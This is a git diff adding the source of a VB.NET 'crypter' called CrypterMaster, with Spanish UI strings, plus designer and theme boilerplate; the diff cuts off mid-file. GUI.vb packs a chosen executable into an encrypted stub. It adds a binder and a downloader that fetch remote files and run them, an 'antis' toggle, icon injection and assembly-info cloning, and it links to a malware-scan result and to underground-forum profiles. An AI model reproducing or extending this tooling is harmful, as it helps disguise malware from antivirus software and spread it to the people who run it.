AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA + + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.vb new file mode 100644 index 0000000..4513389 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.vb @@ -0,0 +1,310 @@ +Imports System.Threading +Imports System.IO +Imports System.Reflection +Imports System.Text + +Public Class GUI + + Private Sub GUI_Load(sender As Object, e As EventArgs) Handles Me.Load + Me.comboDrop_Binder.SelectedIndex = 0 + Me.comboDrop_Downloader.SelectedIndex = 0 + End Sub + + Private Sub btnSeleccionar_Crypter_Click(sender As Object, e As EventArgs) Handles btnSeleccionar_Crypter.Click + With dialogCrypter + .Title = "Abrir archivo..." + .Filter = "Ejecutables (*.exe)|*.exe" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + If .ShowDialog = Windows.Forms.DialogResult.OK Then + txtArchivo_Crypter.Text = .FileName + Else + txtArchivo_Crypter.Text = "" + End If + End With + End Sub + + Private Sub btnAgregar_Binder_Click(sender As Object, e As EventArgs) Handles btnAgregar_Binder.Click + With dialogBinder + .Title = "Abrir archivo..." + .Filter = "Todos (*.*)|*.*" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + If .ShowDialog = Windows.Forms.DialogResult.OK Then lstArchivos_Binder.Items.Add(.FileName).SubItems.Add(True) + End With + End Sub + + Private Sub lstArchivos_Binder_Click(sender As Object, e As EventArgs) Handles lstArchivos_Binder.SelectedIndexChanged + If lstArchivos_Binder.SelectedItems.Count > 0 Then + chkEjecutar_Binder.Visible = True + Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem + Dim bEjecutar As Boolean = CBool(itemActual.SubItems.Item(1).Text) + chkEjecutar_Binder.Checked = bEjecutar + Else + chkEjecutar_Binder.Visible = False + End If + End Sub + + Private Sub chkEjecutar_Binder_CheckedChanged(sender As Object) Handles chkEjecutar_Binder.CheckedChanged + If lstArchivos_Binder.SelectedItems.Count > 0 Then + Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem + itemActual.SubItems.Item(1).Text = chkEjecutar_Binder.Checked + End If + End Sub + + Private Sub btnQuitar_Binder_Click(sender As Object, e As EventArgs) Handles btnQuitar_Binder.Click + If lstArchivos_Binder.SelectedItems.Count > 0 Then + Dim itemActual As ListViewItem = lstArchivos_Binder.FocusedItem + lstArchivos_Binder.Items.Remove(itemActual) + End If + End Sub + + Private Sub btnAgregar_Downloader_Click(sender As Object, e As EventArgs) Handles btnAgregar_Downloader.Click + Dim URL As String = InputBox("Introduzca la URL completa" & vbNewLine & "Ej: http://servidor.com/archivo.ext", "Introduzca la URL") + If String.IsNullOrEmpty(URL) Then Exit Sub + Dim sExt As String = ExtStr(URL, 2, "/") + If sExt = "." & ExtStr(URL, 3, "/") Then + sExt = InputBox("Parece que la URL que ingresó no contiene la extensión del archivo a descargar." & vbNewLine & "Introduzca la extensión del archivo (incluyendo el punto (.))" & vbNewLine & "Ej: .ext", "Introduzca la extensión") + If Not sExt.StartsWith(".") Then + sExt = "." & sExt + End If + End If + With lstArchivos_Downloader.Items.Add(URL) + .SubItems.Add(sExt) + .SubItems.Add(True) + End With + End Sub + + Private Sub btnQuitar_Downloader_Click(sender As Object, e As EventArgs) Handles btnQuitar_Downloader.Click + If lstArchivos_Downloader.SelectedItems.Count > 0 Then + Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem + lstArchivos_Downloader.Items.Remove(itemActual) + End If + End Sub + + Private Sub chkEjecutar_Downloader_CheckedChanged(sender As Object) Handles chkEjecutar_Downloader.CheckedChanged + If lstArchivos_Downloader.SelectedItems.Count > 0 Then + Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem + itemActual.SubItems.Item(2).Text = chkEjecutar_Downloader.Checked + End If + End Sub + + Private Sub lstArchivos_Downloader_Click(sender As Object, e As EventArgs) Handles lstArchivos_Downloader.SelectedIndexChanged + If lstArchivos_Downloader.SelectedItems.Count > 0 Then + chkEjecutar_Downloader.Visible = True + Dim itemActual As ListViewItem = lstArchivos_Downloader.FocusedItem + Dim bEjecutar As Boolean = CBool(itemActual.SubItems.Item(2).Text) + chkEjecutar_Downloader.Checked = bEjecutar + Else + chkEjecutar_Downloader.Visible = False + End If + End Sub + + Private Sub btnGenerar_Crypter_Click(sender As Object, e As EventArgs) Handles btnGenerar_Crypter.Click + For i = 1 To 6 + txtClave_Crypter.Text = getKey(50) + Thread.Sleep(50) + Application.DoEvents() + Next i + End Sub + + Private Sub chkRetraso_CheckedChanged(sender As Object) Handles chkRetraso.CheckedChanged + If chkRetraso.Checked Then + updwnRetraso.Enabled = True + Else + updwnRetraso.Enabled = False + updwnRetraso.Value = 0 + End If + End Sub + + Private Sub chkIcono_CheckedChanged(sender As Object) Handles chkIcono.CheckedChanged + txtIcono.Text = "" + If chkIcono.Checked Then + btnIcono.Enabled = True + Else + btnIcono.Enabled = False + End If + End Sub + + Private Sub chkAssembly_CheckedChanged(sender As Object) Handles chkAssembly.CheckedChanged + txtAssembly.Text = "" + If chkAssembly.Checked Then + btnAssembly.Enabled = True + Else + btnAssembly.Enabled = False + End If + End Sub + + Private Sub btnIcono_Click(sender As Object, e As EventArgs) Handles btnIcono.Click + With dialogIcono + .Title = "Seleccionar icono..." + .Filter = "Iconos (*.ico)|*.ico" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + If .ShowDialog = Windows.Forms.DialogResult.OK Then + txtIcono.Text = .FileName + Else + txtIcono.Text = "" + End If + End With + End Sub + + Private Sub btnAssembly_Click(sender As Object, e As EventArgs) Handles btnAssembly.Click + With dialogAssembly + .Title = "Seleccionar ejecutable..." + .Filter = "Ejecutables (*.exe)|*.exe|Librerias (*.dll)|*.dll" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + If .ShowDialog = Windows.Forms.DialogResult.OK Then + txtAssembly.Text = .FileName + Else + txtAssembly.Text = "" + End If + End With + End Sub + + Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked + Process.Start("http://foro.udtools.net/member.php?7932-chequinho") + Process.Start("http://level-23.cc/forum/member.php?4392-chequinho") + Process.Start("http://www.indetectables.net/memberlist.php?mode=viewprofile&u=67773") + End Sub + + Private Sub lblScan_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles lblScan.LinkClicked + Process.Start("http://scan.majyx.net/result.php?sid=54465") + End Sub + + Private Sub btnCrear_Click(sender As Object, e As EventArgs) Handles btnCrear.Click + Try + Dim delimitador_master As String = "#._.#" + Dim delimitador_crypter As String = "#.__.#" + Dim delimitador_binder As String = "#.___.#" + Dim delimitador_files_binder = "#.///.#" + Dim delimitador_files_ejec_binder As String = ".!!!." + Dim delimitador_files_ejec_downloader As String = ".||||." + Dim delimitador_downloader As String = "#.____.#" + Dim delimitador_files_downloader As String = "#.////.#" + Dim stubPath As String = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) & "\stub.dll" + Dim stubBackupPath As String = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) & "\stub.original" + Dim filePath As String = txtArchivo_Crypter.Text + Dim iconPath As String = txtIcono.Text + Dim assemblyPath As String = txtAssembly.Text + Dim filesBinder As String = "" + Dim filesDownloader As String = "" + Dim stubData As String = "" + Dim nuclearData As String = "" + Dim encryptedData As String = "" + Dim fileData As String = "" + Dim crypterData As String = "" + Dim binderData As String = "" + Dim downloaderData As String = "" + Dim sKey As String = txtClave_Crypter.Text + + progressCrear.Value = 10 + + If Not My.Computer.FileSystem.FileExists(stubPath) Then + MsgBox("Parece que el archivo 'stub.dll' no está aquí...", vbCritical, "Error de Archivo") + progressCrear.Value = 0 + Exit Sub + End If + If filePath = vbNullString Then + MsgBox("No ha seleccionado archivo a cifrar", vbCritical, "Error de Archivo") + progressCrear.Value = 0 + Exit Sub + End If + + If chkIcono.Checked Then + If iconPath = vbNullString Then + MsgBox("No ha seleccionado icono...", vbCritical, "Error de Archivo") + progressCrear.Value = 0 + Exit Sub + Else + If Not My.Computer.FileSystem.FileExists(stubBackupPath) Then My.Computer.FileSystem.CopyFile(stubPath, stubBackupPath) + IconChanger.InjectIcon(stubPath, iconPath) + End If + End If + If chkAssembly.Checked Then + If assemblyPath = vbNullString Then + MsgBox("No ha seleccionado ejecutable del cual clonar información de ensamblado...", vbCritical, "Error de Archivo") + progressCrear.Value = 0 + Exit Sub + Else + If Not My.Computer.FileSystem.FileExists(stubBackupPath) Then My.Computer.FileSystem.CopyFile(stubPath, stubBackupPath) + cloneInfo(assemblyPath, stubPath) + End If + End If + + progressCrear.Value = 20 + + fileData = ReadFile(filePath) + + crypterData = fileData & delimitador_crypter & chkAntis.Checked & delimitador_crypter & updwnRetraso.Value & delimitador_crypter + + progressCrear.Value = 30 + + If lstArchivos_Binder.Items.Count > 0 Then + For i = 0 To (lstArchivos_Binder.Items.Count - 1) + Dim currentBinderItem As ListViewItem = lstArchivos_Binder.Items.Item(i) + Dim currentBinderFilePath As String = currentBinderItem.Text + Dim currentBinderFileData As String = ReadFile(currentBinderFilePath) + Dim currentBinderExt As String = ExtStr(currentBinderFilePath, 2) + Dim currentBinderExec As Boolean = CBool(currentBinderItem.SubItems(1).Text) + Dim currentBinderData As String = currentBinderFileData & delimitador_files_ejec_binder & currentBinderExt & delimitador_files_ejec_binder & currentBinderExec + filesBinder &= currentBinderData & delimitador_files_binder + Next + binderData = filesBinder & delimitador_binder & comboDrop_Binder.Text & delimitador_binder + Else + binderData = "NO_DATA" + End If + + progressCrear.Value = 40 + + If lstArchivos_Downloader.Items.Count > 0 Then + For i = 0 To (lstArchivos_Downloader.Items.Count - 1) + Dim currentDownloaderItem As ListViewItem = lstArchivos_Downloader.Items.Item(i) + Dim currentDownloaderURL As String = currentDownloaderItem.Text + Dim currentDownloaderExt As String = currentDownloaderItem.SubItems(1).Text + Dim currentDownloaderExec As Boolean = CBool(currentDownloaderItem.SubItems(2).Text) + Dim currentDownloaderData As String = currentDownloaderURL & delimitador_files_ejec_downloader & currentDownloaderExt & delimitador_files_ejec_downloader & currentDownloaderExec + filesDownloader &= currentDownloaderData & delimitador_files_downloader + Next + downloaderData = filesDownloader & delimitador_downloader & comboDrop_Downloader.Text & delimitador_downloader + Else + downloaderData = "NO_DATA" + End If + + progressCrear.Value = 50 + + stubData = ReadFile(stubPath) + + nuclearData = crypterData & delimitador_master & binderData & delimitador_master & downloaderData & delimitador_master + + progressCrear.Value = 60 + + If rbtnUnknown_Crypter.Checked Then + encryptedData = stubData & delimitador_master & Unknown(nuclearData, sKey) & delimitador_master & sKey & delimitador_master & "1" & delimitador_master + ElseIf rbtnStairs_Crypter.Checked Then + encryptedData = stubData & delimitador_master & Stairs(nuclearData, sKey) & delimitador_master & sKey & delimitador_master & "2" & delimitador_master + End If + + progressCrear.Value = 70 + + With dialogCrear + .FileName = ExtStr(filePath, 1) & ".enc" + .Title = "Guardar ejecutable cifrado..." + .Filter = "Ejecutables (*.exe)|*.exe" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + If .ShowDialog = Windows.Forms.DialogResult.OK Then + WriteFile(.FileName, encryptedData) + progressCrear.Value = 80 + progressCrear.Value = 90 + If My.Computer.FileSystem.FileExists(stubBackupPath) Then + My.Computer.FileSystem.DeleteFile(stubPath) + My.Computer.FileSystem.RenameFile(stubBackupPath, ExtStr(stubPath, 3)) + End If + progressCrear.Value = 100 + MsgBox("¡Ejecutable cifrado correctamente!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Correcto") + End If + progressCrear.Value = 0 + End With + Catch ex As Exception + MsgBox(ex.Message, MsgBoxStyle.Critical, "Error en tiempo de ejecución") + progressCrear.Value = 0 + End Try + End Sub +End Class diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.Designer.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.Designer.vb new file mode 100644 index 0000000..26105c3 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = true + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.CrypterMaster.GUI + End Sub + End Class +End Namespace diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.myapp b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.myapp new file mode 100644 index 0000000..45b2cfb --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + GUI + true + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/AssemblyInfo.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..409b621 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' La información general sobre un ensamblado se controla mediante el siguiente +' conjunto de atributos. Cambie estos atributos para modificar la información +' asociada con un ensamblado. + +' Revisar los valores de los atributos del ensamblado + + + + + + + + + + +'El siguiente GUID sirve como identificador de typelib si este proyecto se expone a COM + + +' La información de versión de un ensamblado consta de los cuatro valores siguientes: +' +' Versión principal +' Versión secundaria +' Número de compilación +' Revisión +' +' Puede especificar todos los valores o usar los valores predeterminados de número de compilación y de revisión +' mediante el asterisco ('*'), como se muestra a continuación: +' + + + diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.Designer.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.Designer.vb new file mode 100644 index 0000000..e3b14f1 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("CrypterMaster.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property ResHacker() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("ResHacker", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.resx b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.resx new file mode 100644 index 0000000..150ce06 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\ResHacker.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.Designer.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.Designer.vb new file mode 100644 index 0000000..91dc01e --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.CrypterMaster.My.MySettings + Get + Return Global.CrypterMaster.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.settings b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Resources/ResHacker.exe b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Resources/ResHacker.exe new file mode 100644 index 0000000..f3d4e57 Binary files /dev/null and b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Resources/ResHacker.exe differ diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Theme.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Theme.vb new file mode 100644 index 0000000..c5fbbab --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/Theme.vb @@ -0,0 +1,1521 @@ +'Credits goes to : Aeonhack, HawkHF, Leumonic and Xertz. +'Edited by Huracan + +Imports System.Drawing.Drawing2D +Imports System.ComponentModel +Imports System.Drawing.Text + +#Region "Functions" + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +#End Region + +Module HuraModule + +#Region " G" + Friend G As Graphics, B As Bitmap +#End Region + + + Sub New() + TextBitmap = New Bitmap(1, 1) + TextGraphics = Graphics.FromImage(TextBitmap) + End Sub + + Private TextBitmap As Bitmap + Private TextGraphics As Graphics + + Friend Function MeasureString(text As String, font As Font) As SizeF + Return TextGraphics.MeasureString(text, font) + End Function + + Friend Function MeasureString(text As String, font As Font, width As Integer) As SizeF + Return TextGraphics.MeasureString(text, font, width, StringFormat.GenericTypographic) + End Function + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Friend Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Friend Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + + Public Function RoundRectangle(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath + Dim P As GraphicsPath = New GraphicsPath() + Dim ArcRectangleWidth As Integer = Curve * 2 + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -180, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -90, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 0, 90) + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 90, 90) + P.AddLine(New Point(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y), New Point(Rectangle.X, Curve + Rectangle.Y)) + Return P + End Function + +End Module + + + +Public Class HuraForm : Inherits ContainerControl + Enum ColorSchemes + Dark + End Enum + Event ColorSchemeChanged() + Private _ColorScheme As ColorSchemes + Public Property ColorScheme() As ColorSchemes + Get + Return _ColorScheme + End Get + Set(ByVal value As ColorSchemes) + _ColorScheme = value + RaiseEvent ColorSchemeChanged() + End Set + End Property + Protected Sub OnColorSchemeChanged() Handles Me.ColorSchemeChanged + Invalidate() + Select Case ColorScheme + Case ColorSchemes.Dark + BackColor = Color.FromArgb(255, 255, 255) + Font = New Font("Segoe UI", 9.5) + AccentColor = Color.FromArgb(255, 255, 255) + ForeColor = Color.Gray + End Select + End Sub +#Region " Properties " + Private _AccentColor As Color + Public Property AccentColor() As Color + Get + Return _AccentColor + End Get + Set(ByVal value As Color) + _AccentColor = value + OnAccentColorChanged() + End Set + End Property +#End Region +#Region " Constructor " + Sub New() + MyBase.New() + DoubleBuffered = True + Font = New Font("Segoe UI Semilight", 9.75F) + 'AccentColor = Color.FromArgb(150, 0, 150) + AccentColor = Color.White + ColorScheme = ColorSchemes.Dark + ForeColor = Color.Gray + BackColor = Color.FromArgb(255, 255, 255) + MoveHeight = 32 + End Sub +#End Region +#Region " Events " + Event AccentColorChanged() +#End Region +#Region " Overrides " + Private MouseP As Point = New Point(0, 0) + Private Cap As Boolean = False + Private MoveHeight As Integer + Private pos As Integer = 0 + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + If e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(0, 0, Width, MoveHeight).Contains(e.Location) Then + Cap = True : MouseP = e.Location + End If + End Sub + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + If Cap Then + Parent.Location = MousePosition - MouseP + End If + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) : Cap = False + End Sub + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + Dock = DockStyle.Fill + Parent.FindForm().FormBorderStyle = FormBorderStyle.None + End Sub + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As Bitmap = New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + MyBase.OnPaint(e) + + Dim MainRect As New Rectangle(0, 0, Width - 1, Height - 1) + + G.Clear(BackColor) + G.DrawLine(New Pen(Color.FromArgb(0, 173, 220), 3), New Point(0, 0), New Point(Width, 0)) + G.DrawRectangle(New Pen(Color.FromArgb(0, 173, 220)), MainRect) + G.DrawString(Text, Font, New SolidBrush(ForeColor), New Rectangle(8, 6, Width - 1, Height - 1), StringFormat.GenericDefault) + + e.Graphics.DrawImage(B, New Point(0, 0)) + G.Dispose() : B.Dispose() + End Sub + Protected Sub OnAccentColorChanged() Handles Me.AccentColorChanged + Invalidate() + End Sub + Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + MyBase.OnResize(e) + Invalidate() + End Sub +#End Region + +End Class + +Public Class HuraControlBox : Inherits Control + Enum ColorSchemes + Dark + End Enum + Event ColorSchemeChanged() + Private _ColorScheme As ColorSchemes + Public Property ColorScheme() As ColorSchemes + Get + Return _ColorScheme + End Get + Set(ByVal value As ColorSchemes) + _ColorScheme = value + RaiseEvent ColorSchemeChanged() + End Set + End Property + Protected Sub OnColorSchemeChanged() Handles Me.ColorSchemeChanged + Invalidate() + Select Case ColorScheme + Case ColorSchemes.Dark + BackColor = Color.White + ForeColor = Color.White + AccentColor = Color.FromArgb(0, 178, 255) + End Select + End Sub + Private _AccentColor As Color + Public Property AccentColor() As Color + Get + Return _AccentColor + End Get + Set(ByVal value As Color) + _AccentColor = value + Invalidate() + End Set + End Property + + Sub New() + MyBase.New() + DoubleBuffered = True + SetStyle(ControlStyles.AllPaintingInWmPaint, True) + SetStyle(ControlStyles.UserPaint, True) + SetStyle(ControlStyles.ResizeRedraw, True) + SetStyle(ControlStyles.OptimizedDoubleBuffer, True) + ForeColor = Color.FromArgb(50, 50, 50) + BackColor = Color.White + AccentColor = Color.FromArgb(200, 200, 200) + ColorScheme = ColorSchemes.Dark + Anchor = AnchorStyles.Top Or AnchorStyles.Right + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + MyBase.OnResize(e) + Size = New Size(100, 25) + End Sub + Enum ButtonHover + Minimize + Maximize + Close + None + End Enum + Dim ButtonState As ButtonHover = ButtonHover.None + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + MyBase.OnMouseMove(e) + Dim X As Integer = e.Location.X + Dim Y As Integer = e.Location.Y + If Y > 0 AndAlso Y < (Height - 2) Then + If X > 0 AndAlso X < 34 Then + ButtonState = ButtonHover.Minimize + ElseIf X > 33 AndAlso X < 65 Then + ButtonState = ButtonHover.Maximize + ElseIf X > 64 AndAlso X < Width Then + ButtonState = ButtonHover.Close + Else + ButtonState = ButtonHover.None + End If + Else + ButtonState = ButtonHover.None + End If + Invalidate() + End Sub + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + + MyBase.OnPaint(e) + + G.Clear(BackColor) + Select Case ButtonState + Case ButtonHover.None + G.Clear(BackColor) + Case ButtonHover.Minimize + G.FillRectangle(New SolidBrush(_AccentColor), New Rectangle(3, 0, 30, Height)) + Case ButtonHover.Maximize + G.FillRectangle(New 